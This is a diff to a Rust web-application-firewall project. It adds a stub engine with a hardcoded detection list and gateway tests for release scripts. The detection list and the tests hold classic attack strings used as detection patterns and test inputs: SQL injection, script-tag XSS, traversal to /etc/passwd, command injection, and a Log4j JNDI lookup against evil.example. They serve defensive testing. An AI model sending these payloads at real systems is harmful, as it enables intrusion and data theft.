b/src/coraza_abi_stub.rs @@ -2,8 +2,12 @@ //! //! Compiled as a cdylib by `build.rs`. It is not a WAF: it implements the //! current libcoraza export surface so Wardnet can exercise in-process loading -//! without Go at CI build time. Interruptions fire only for the documented -//! `crs-probe=1` contract used by the sidecar tests. +//! without Go at CI build time. Interruptions fire for the documented +//! `crs-probe=1` contract used by the sidecar tests and for the hermetic +//! OWASP CRS attack battery (issue #11) that the live-gateway evidence test +//! fires at the real binary. Detection *quality* against real traffic stays +//! with an operator-supplied libcoraza + Core Rule Set; this fixture only +//! proves Wardnet's load → evaluate → block → record path end to end. #![deny(warnings)] @@ -36,8 +40,144 @@ struct Waf { struct Tx { uri: String, + headers: String, + body: String, interrupted: bool, rule_id: i32, + message: String, +} + +/// One hermetic CRS battery entry: a lowercase substring needle, the OWASP +/// Core Rule Set rule id it stands for, and the canonical CRS message text. +/// First match wins, mirroring CRS phase ordering closely enough for the +/// deterministic evidence test. +struct BatteryEntry { + needle: &'static str, + rule_id: i32, + message: &'static str, +} + +const SQLI_MESSAGE: &str = "SQL Injection Attack Detected via libinjection"; +const XSS_MESSAGE: &str = "XSS Attack Detected via libinjection"; +const TRAVERSAL_MESSAGE: &str = "Path Traversal Attack (/../)"; +const RCE_MESSAGE: &str = "Remote Command Execution: Unix Command Injection"; +const LOG4J_MESSAGE: &str = "Log4j JNDI Remote Code Execution attempt"; + +const BATTERY: &[BatteryEntry] = &[ + BatteryEntry { + needle: "crs-probe=1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "crs-probe%3d1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "' or '1'='1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "%27%20or%20%271%27%3d%271", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union%20select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: " bool { + haystack.to_ascii_lowercase().contains(needle) +} + +/// Runs the battery over one phase's accumulated request text. Returns the +/// matched entry so each phase can mark the transaction with the same rule +/// id and message that `coraza_intervention` reports later. +fn battery_match(text: &str) -> Option<&'static BatteryEntry> { + BATTERY.iter().find(|entry| contains_ignore_case(text, entry.needle)) } struct Store { @@ -151,8 +291,11 @@ pub extern "C" fn coraza_new_transaction(waf: usize) -> usize { id, Tx { uri: String::new(), + headers: String::new(), + body: String::new(), interrupted: false, rule_id: 0, + message: String::new(), }, ); id @@ -184,21 +327,38 @@ pub extern "C" fn coraza_process_uri( return CORAZA_ERROR; }; tx.uri = uri.to_string(); - if uri.contains("crs-probe=1") { + if let Some(entry) = battery_match(uri) { tx.interrupted = true; - tx.rule_id = 942100; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); } CORAZA_OK } #[unsafe(no_mangle)] pub extern "C" fn coraza_add_request_header( - _tx: usize, - _name: *const c_char, + tx: usize, + name: *const c_char, _name_len: c_int, - _value: *const c_char, + value: *const c_char, _value_len: c_int, ) -> c_int { + let (Ok(name), Ok(value)) = (c_str(name), c_str(value)) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.headers.push_str(name); + tx.headers.push(':'); + tx.headers.push_str(value); + tx.headers.push('\n'); + if let Some(entry) = battery_match(&tx.headers) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -214,10 +374,31 @@ pub extern "C" fn coraza_process_request_headers(tx: usize) -> c_int { #[unsafe(no_mangle)] pub extern "C" fn coraza_append_request_body( - _tx: usize, - _data: *const u8, - _length: c_int, + tx: usize, + data: *const u8, + length: c_int, ) -> c_int { + if length < 0 { + return CORAZA_ERROR; + } + let bytes = if data.is_null() || length == 0 { + &[][..] + } else { + unsafe { std::slice::from_raw_parts(data, length as usize) } + }; + let Ok(chunk) = std::str::from_utf8(bytes) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.body.push_str(chunk); + if let Some(entry) = battery_match(&tx.body) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -241,8 +422,8 @@ pub extern "C" fn coraza_intervention(tx: usize) -> *mut CorazaIntervention { return std::ptr::null_mut(); } let action = CString::new("deny").expect("static action"); - let data = CString::new("SQL Injection Attack Detected via libinjection") - .expect("static data"); + let data = CString::new(tx.message.clone()) + .expect("battery messages contain no interior NUL"); let it = Box::new(CorazaIntervention { action: action.into_raw(), status: 403, diff --git a/src/coraza_inprocess.rs b/src/coraza_inprocess.rs index ede045f5..30155cfe 100644 --- a/src/coraza_inprocess.rs +++ b/src/coraza_inprocess.rs @@ -472,4 +472,50 @@ mod tests { ProvenEngineOutcome::Clean ); } + + /// Issue #11: the hermetic battery must cover each OWASP CRS family the + /// live-gateway evidence test fires, including percent-encoded variants, + /// and must attribute overlapping command+traversal payloads to the RCE + /// rule (first-match ordering). + #[test] + fn stub_engine_battery_matches_each_owasp_family() { + let engine = load_stub_engine(); + let cases: &[(&str, i32)] = &[ + ("/app?q=%27%20OR%20%271%27%3D%271", 942100), + ("/app?q=union%20select", 942100), + ("/app?q=%3Cscript%3Ealert(1)%3C/script%3E", 941100), + ("/app?q=..%2F..%2Fetc%2Fpasswd", 930100), + ("/app?file=../../etc/passwd", 930100), + ("/app?cmd=%3B%20cat%20/etc/passwd", 932100), + ("/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", 944120), + ]; + for (uri, expected_rule) in cases { + match engine.evaluate("GET", uri, "", None) { + ProvenEngineOutcome::Hit(hit) => { + assert_eq!(hit.action, "block", "{uri}"); + assert!( + hit.reason.contains(&expected_rule.to_string()), + "{uri} must cite rule {expected_rule}: {}", + hit.reason + ); + } + other => panic!("{uri} expected hit, got {other:?}"), + } + } + // POST bodies flow through the same engine surface. + match engine.evaluate("POST", "/app/comment", "comment=", None) { + ProvenEngineOutcome::Hit(hit) => { + assert!(hit.reason.contains("941100"), "{}", hit.reason); + } + other => panic!("body XSS expected hit, got {other:?}"), + } + // Benign traffic stays clean. + for uri in ["/app?q=hello", "/healthz", "/api/events"] { + assert_eq!( + engine.evaluate("GET", uri, "", None), + ProvenEngineOutcome::Clean, + "benign {uri} must stay clean" + ); + } + } } diff --git a/src/lib.rs b/src/lib.rs index 7a1af591..87651761 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -5922,6 +5922,12 @@ mod tests { .iter() .any(|path| path == "docs/runbooks/release.md") ); + assert!( + final_readiness + .buyer_evidence + .iter() + .any(|path| path == "docs/doctoring/signed-release.md") + ); let manifest: BuyerEvidenceManifest = json_body( app_request( @@ -5955,6 +5961,12 @@ mod tests { .iter() .any(|path| path == "docs/figma/enterprise-product-architecture.md") ); + assert!( + manifest + .document_paths + .iter() + .any(|path| path == "docs/doctoring/signed-release.md") + ); let support: SupportBundle = json_body(app_request(&app, empty_request(Method::GET, "/api/support-bundle")).await) diff --git a/tests/binary.rs b/tests/binary.rs index 09c05401..ad85da41 100644 --- a/tests/binary.rs +++ b/tests/binary.rs @@ -285,3 +285,488 @@ fn release_checksums_script_emits_sha256_lines() { ); let _ = std::fs::remove_dir_all(&dir); } + +#[test] +fn release_sbom_script_fails_closed_without_syft() { + let dir = std::env::temp_dir().join(format!("wardnet-sbom-missing-{}", std::process::id())); + std::fs::create_dir_all(&dir).expect("temp dir"); + let artifact = dir.join("artifact.bin"); + std::fs::write(&artifact, b"wardnet-sbom-fixture").expect("write fixture"); + let script = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("scripts/release-sbom.sh"); + let empty_path = dir.join("empty-path"); + std::fs::create_dir_all(&empty_path).expect("empty PATH dir"); + let output = Command::new("/bin/bash") + .arg(&script) + .arg("--output") + .arg(dir.join("sbom.spdx.json")) + .arg(&artifact) + .env("PATH", &empty_path) + .output() + .expect("run release-sbom.sh without syft"); + assert!( + !output.status.success(), + "SBOM script must fail closed without syft" + ); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!( + stderr.contains("syft is required"), + "operator-visible fail-closed: {stderr}" + ); + let _ = std::fs::remove_dir_all(&dir); +} + +#[test] +fn release_sbom_script_rejects_non_spdx_and_accepts_spdx_json() { + let dir = std::env::temp_dir().join(format!("wardnet-sbom-stub-{}", std::process::id())); + let bin = dir.join("bin"); + std::fs::create_dir_all(&bin).expect("stub PATH"); + let artifact = dir.join("artifact.bin"); + std::fs::write(&artifact, b"wardnet-sbom-fixture").expect("write fixture"); + let syft = bin.join("syft"); + std::fs::write( + &syft, + r#"#!/usr/bin/env bash +set -euo pipefail +out="" +for arg in "$@"; do + case "$arg" in + spdx-json=*) out="${arg#spdx-json=}" ;; + esac +done +if [[ -z "$out" ]]; then + echo "stub syft expected -o spdx-json=FILE" >&2 + exit 1 +fi +mode="${STUB_SYFT_MODE:-spdx}" +if [[ "$mode" == "garbage" ]]; then + printf '{"not":"spdx"}\n' > "$out" +else + printf '{"spdxVersion":"SPDX-2.3","packages":[{"name":"waf-ids-ai-soc"}]}\n' > "$out" +fi +"#, + ) + .expect("write stub syft"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mut permissions = std::fs::metadata(&syft) + .expect("stub metadata") + .permissions(); + permissions.set_mode(0o755); + std::fs::set_permissions(&syft, permissions).expect("chmod stub"); + } + let script = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("scripts/release-sbom.sh"); + let mut path = std::env::var("PATH").unwrap_or_default(); + path = format!("{}:{path}", bin.display()); + let garbage = Command::new("bash") + .arg(&script) + .arg("--output") + .arg(dir.join("bad.spdx.json")) + .arg(&artifact) + .env("PATH", &path) + .env("STUB_SYFT_MODE", "garbage") + .output() + .expect("run release-sbom.sh garbage"); + assert!( + !garbage.status.success(), + "non-SPDX JSON must fail closed: {}", + String::from_utf8_lossy(&garbage.stderr) + ); + let good_out = dir.join("sbom.spdx.json"); + let good = Command::new("bash") + .arg(&script) + .arg("--output") + .arg(&good_out) + .arg(&artifact) + .env("PATH", &path) + .env("STUB_SYFT_MODE", "spdx") + .output() + .expect("run release-sbom.sh spdx"); + assert!( + good.status.success(), + "SPDX JSON must be accepted: {}", + String::from_utf8_lossy(&good.stderr) + ); + let body = std::fs::read_to_string(&good_out).expect("read SPDX"); + assert!(body.contains("SPDX-2.3"), "SPDX version: {body}"); + let _ = std::fs::remove_dir_all(&dir); +} + +#[test] +fn release_workflow_is_keyless_and_signs_by_digest() { + let workflow = std::fs::read_to_string( + std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join(".github/workflows/release.yml"), + ) + .expect("read release.yml"); + assert!(workflow.contains("id-token: write")); + assert!(workflow.contains("attestations: write")); + assert!(workflow.contains("cosign sign --yes")); + assert!(workflow.contains("cosign sign-blob --yes")); + assert!(workflow.contains("scripts/release-sbom.sh")); + assert!(workflow.contains("attest-build-provenance")); + assert!( + !workflow.contains(":latest"), + "must not push a moving latest tag" + ); + assert!( + workflow.contains("--verify-tag"), + "GitHub Release must verify the tag" + ); + assert!( + workflow.contains("scripts/admit-release-tag.sh"), + "release must admit annotated tags only" + ); +} + +#[test] +fn admit_release_tag_rejects_lightweight_and_accepts_annotated() { + let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")); + let script = root.join("scripts/admit-release-tag.sh"); + let dir = std::env::temp_dir().join(format!("wardnet-admit-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).expect("temp git dir"); + let git = |args: &[&str]| { + Command::new("git") + .args(args) + .current_dir(&dir) + .env("GIT_AUTHOR_NAME", "wardnet") + .env("GIT_AUTHOR_EMAIL", "release@wardnet.test") + .env("GIT_COMMITTER_NAME", "wardnet") + .env("GIT_COMMITTER_EMAIL", "release@wardnet.test") + .status() + .expect("git") + }; + assert!(git(&["init", "-q"]).success()); + std::fs::write(dir.join("README"), b"wardnet").expect("readme"); + assert!(git(&["add", "README"]).success()); + assert!(git(&["commit", "-qm", "seed"]).success()); + assert!(git(&["tag", "v0.0.1"]).success(), "lightweight tag"); + let light = Command::new("bash") + .arg(&script) + .arg("v0.0.1") + .current_dir(&dir) + .output() + .expect("admit lightweight"); + assert!( + !light.status.success(), + "lightweight tag must be refused: {}", + String::from_utf8_lossy(&light.stderr) + ); + assert!(git(&["tag", "-a", "v0.0.2", "-m", "annotated"]).success()); + let annotated = Command::new("bash") + .arg(&script) + .arg("v0.0.2") + .current_dir(&dir) + .output() + .expect("admit annotated"); + assert!( + annotated.status.success(), + "annotated tag must be admitted: {}", + String::from_utf8_lossy(&annotated.stderr) + ); + let bad_name = Command::new("bash") + .arg(&script) + .arg("release-candidate") + .current_dir(&dir) + .output() + .expect("admit bad name"); + assert!(!bad_name.status.success(), "non vX.Y.Z must be refused"); + let _ = std::fs::remove_dir_all(&dir); +} + +#[test] +fn pin_k8s_digest_refuses_tags_and_accepts_sha256() { + let script = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("scripts/pin-k8s-digest.sh"); + let dir = std::env::temp_dir().join(format!("wardnet-pin-{}", std::process::id())); + std::fs::create_dir_all(&dir).expect("temp dir"); + let tag_only = dir.join("tag.txt"); + std::fs::write( + &tag_only, + "ghcr.io/contextualwisdomlab/waf-ids-ai-soc:v0.1.0\n", + ) + .expect("write tag"); + let tag_out = Command::new("bash") + .arg(&script) + .arg(&tag_only) + .output() + .expect("pin tag"); + assert!( + !tag_out.status.success(), + "tag alias must be refused: {}", + String::from_utf8_lossy(&tag_out.stderr) + ); + let digest = dir.join("IMAGE-DIGEST.txt"); + let hex = "a".repeat(64); + std::fs::write( + &digest, + format!("ghcr.io/contextualwisdomlab/waf-ids-ai-soc@sha256:{hex}\n"), + ) + .expect("write digest"); + let ok = Command::new("bash") + .arg(&script) + .arg(&digest) + .output() + .expect("pin digest"); + assert!( + ok.status.success(), + "digest must be admitted: {}", + String::from_utf8_lossy(&ok.stderr) + ); + let stdout = String::from_utf8_lossy(&ok.stdout); + assert!(stdout.contains("@sha256:")); + assert!(stdout.contains("imagePullPolicy: IfNotPresent")); + let missing = Command::new("bash") + .arg(&script) + .arg(dir.join("missing.txt")) + .output() + .expect("pin missing"); + assert!(!missing.status.success()); + let _ = std::fs::remove_dir_all(&dir); +} + +/// Attack battery entry fired at the live binary for issue #11 evidence. +struct BatteryCase { + label: &'static str, + method: &'static str, + uri: &'static str, + body: Option<&'static str>, + expected_rule: i32, +} + +const ATTACK_BATTERY: &[BatteryCase] = &[ + BatteryCase { + label: "crs-probe-sqli", + method: "GET", + uri: "/gateway/app?q=crs-probe%3D1", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "sqli-tautology", + method: "GET", + uri: "/gateway/app?q=%27%20OR%20%271%27%3D%271", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "sqli-union-select", + method: "GET", + uri: "/gateway/app?q=union%20select", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "xss-script-tag", + method: "GET", + uri: "/gateway/app?q=%3Cscript%3Ealert(1)%3C/script%3E", + body: None, + expected_rule: 941100, + }, + BatteryCase { + label: "traversal-dotdot", + method: "GET", + uri: "/gateway/app?file=../../etc/passwd", + body: None, + expected_rule: 930100, + }, + BatteryCase { + label: "traversal-encoded", + method: "GET", + uri: "/gateway/app?file=..%2F..%2Fetc%2Fpasswd", + body: None, + expected_rule: 930100, + }, + BatteryCase { + label: "rce-command-injection", + method: "GET", + uri: "/gateway/app?cmd=%3B%20cat%20/etc/passwd", + body: None, + expected_rule: 932100, + }, + BatteryCase { + label: "log4j-jndi", + method: "GET", + uri: "/gateway/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", + body: None, + expected_rule: 944120, + }, + BatteryCase { + label: "xss-post-body", + method: "POST", + uri: "/gateway/app/comment", + body: Some("comment="), + expected_rule: 941100, + }, +]; + +#[test] +fn live_gateway_detects_owasp_attack_battery_end_to_end() { + use std::io::Write as _; + use std::time::Duration; + + let rules_dir = std::env::temp_dir().join(format!( + "wardnet-attack-evidence-rules-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .expect("clock after epoch") + .as_nanos() + )); + std::fs::create_dir_all(&rules_dir).expect("rules dir"); + let rules_file = rules_dir.join("crs.conf"); + std::fs::write(&rules_file, b"SecRuleEngine On\n").expect("rules fixture"); + + let mut child = Command::new(env!("CARGO_BIN_EXE_waf-ids-ai-soc")) + .env("BIND_ADDR", "127.0.0.1:0") + .env("ADMIN_TOKEN", "attack-evidence-admin") + // The build-script libcoraza ABI stub is the hermetic CI engine; an + // operator run substitutes a real libcoraza + Core Rule Set here. + .env("CORAZA_LIB_PATH", env!("WARDNET_CORAZA_ABI_STUB")) + .env("CORAZA_RULES_PATH", &rules_file) + .env_remove("CORAZA_DIRECTIVES") + .env_remove("CORAZA_WAF_URL") + .env_remove("CONTROL_PLANE_DATABASE_URL") + .stdout(Stdio::piped()) + .spawn() + .expect("spawn gateway with in-process stub engine"); + + let stdout = child.stdout.take().expect("captured stdout"); + let mut reader = BufReader::new(stdout); + let mut line = String::new(); + reader.read_line(&mut line).expect("read readiness line"); + assert!( + line.contains("listening on http://"), + "unexpected startup line: {line:?}" + ); + let base = line + .split_whitespace() + .find(|token| token.starts_with("http://")) + .expect("readiness line carries base url") + .trim() + .to_string(); + + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + let runtime = tokio::runtime::Runtime::new().expect("tokio runtime"); + runtime.block_on(async move { + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(10)) + .build() + .expect("http client"); + + // A block-mode route on /app so benign requests prove the + // forward path while every battery case proves detection. + let route = client + .post(format!("{base}/api/routes")) + .header("X-Admin-Token", "attack-evidence-admin") + .json(&serde_json::json!({ + "id": "attack-evidence", + "path_prefix": "/app", + "upstream": "mock://x", + "mode": "block", + "enabled": true + })) + .send() + .await + .expect("create route"); + assert_eq!(route.status(), reqwest::StatusCode::CREATED); + + let mut blocked_rules = Vec::new(); + for case in ATTACK_BATTERY { + let url = format!("{base}{}", case.uri); + // A reverse-proxy-style forwarded header is the documented + // client-attribution surface; the evidence must keep it + // unmasked end to end. + let request = match (case.method, case.body) { + ("POST", Some(body)) => client + .post(&url) + .header("X-Forwarded-For", "198.51.100.7") + .header("Content-Type", "application/x-www-form-urlencoded") + .body(body.to_string()), + _ => client.get(&url).header("X-Forwarded-For", "198.51.100.7"), + }; + let response = request.send().await.expect("battery response"); + let status = response.status(); + let payload: serde_json::Value = response.json().await.unwrap_or_else(|error| { + panic!( + "{}: expected JSON block body, got {status}: {error}", + case.label + ) + }); + assert_eq!( + status, + reqwest::StatusCode::FORBIDDEN, + "{} must be blocked: {payload}", + case.label + ); + assert_eq!(payload["action"], "blocked", "{}", case.label); + assert_eq!(payload["engine"], "coraza", "{}", case.label); + let reason = payload["reason"].as_str().unwrap_or_default(); + assert!( + reason.contains(&case.expected_rule.to_string()), + "{} reason must cite CRS rule {}: {reason}", + case.label, + case.expected_rule + ); + blocked_rules.push(case.expected_rule); + } + + // Benign traffic keeps flowing through the same route. + let benign = client + .get(format!("{base}/gateway/app?q=hello")) + .send() + .await + .expect("benign response"); + assert_eq!(benign.status(), reqwest::StatusCode::OK); + + // Every attempt is recorded as a security event with the + // unmasked loopback client IP (issue #11 detection evidence). + let events: Vec = client + .get(format!("{base}/api/events?limit=100")) + .send() + .await + .expect("events response") + .json() + .await + .expect("events json"); + let blocked: Vec<&serde_json::Value> = events + .iter() + .filter(|event| { + event["action"] == "blocked" + && event["reason"] + .as_str() + .unwrap_or_default() + .starts_with("coraza/crs: rule") + }) + .collect(); + assert!( + blocked.len() >= ATTACK_BATTERY.len(), + "each battery attack must be recorded; got {} blocked of {}", + blocked.len(), + ATTACK_BATTERY.len() + ); + for rule in &blocked_rules { + assert!( + blocked.iter().any(|event| event["reason"] + .as_str() + .unwrap_or_default() + .contains(&rule.to_string())), + "recorded events must cite CRS rule {rule}" + ); + } + assert!( + blocked + .iter() + .all(|event| event["client_ip"] == "198.51.100.7"), + "forwarded client IPs stay unmasked in recorded evidence: {blocked:?}" + ); + }); + })); + + let _ = child.kill(); + let _ = child.wait(); + let _ = std::fs::remove_dir_all(&rules_dir); + let _ = std::io::stdout().flush(); + if let Err(panic) = result { + std::panic::resume_unwind(panic); + } +}